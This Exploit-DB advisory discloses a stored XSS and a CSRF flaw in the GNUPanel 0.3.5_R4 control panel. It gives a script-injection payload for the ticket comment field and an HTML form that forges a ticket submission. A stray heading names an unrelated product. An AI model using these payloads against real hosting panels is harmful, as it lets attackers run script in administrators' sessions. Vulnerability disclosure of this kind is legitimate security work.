GNUPanel 0.3.5_R4 - Multiple Vulnerabilities

ID EDB-ID:32207
Type exploitdb
Reporter Necmettin COSKUN
Modified 2014-03-12T00:00:00


GNUPanel 0.3.5_R4 - Multiple Vulnerabilities. Webapps exploit for php platform

                                            # Exploit Title		:GNUpanel 0.3.5_R4 - Multiple Vulnerabilities
# Vendor Homepage	:
# GNUPanel Version	:0.3.5_R4
# Server			:Centos 6.4
# Exploit Author	:Necmettin COSKUN =>@babayarisi
# Blog				:
# Discovery date	:03/11/2014
# CVE				:N/A
GNUPanel is a hosting control panel for Debian. It is written in PHP and it is tailored to run on 32 and 64 bit Debian GNU/Linux web hosting servers.  
Stored XSS vulnerability
GNUPanel has a pure coded ticket support system   Comment "consultar" field is not ascaped so any 
tags including script tags can be stored in them.
customer client can send malicious ticket to reseller client
reseller client can send malicious ticket to Server Admin
Proof of concept
Go to Support tab and click > New Ticket 
Set subject field Demo
Set comment field "><script>alert("XSS");</script>
Click Send.
Go to Support tab and Click >Pending tickets
Click read button  Bingo XSS ;)
Second one:
CSRF vulnerability
CSRF vulnerability in BP Group Documents 1.2.1
An unauthenticated user can cause a logged in user to create support ticket including
malicious code.
Proof of concept
<form id="baba" method="post" action="http://demo/gnupanel-reseller.php?seccion=tickets&plugin=enviar_ticket"> 
<input name="asunto" size="45" value="Demo12" maxlength="254"> 
<textarea name="consultar" rows="10" cols="50"><script>alert("XSS");</script></textarea>
<input name="ingresando" value="1" type="hidden"> 
<input name="resetea" value="Reset" type="reset">
<input name="agrega" value="Send" type="submit"> 
Discovered by:
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!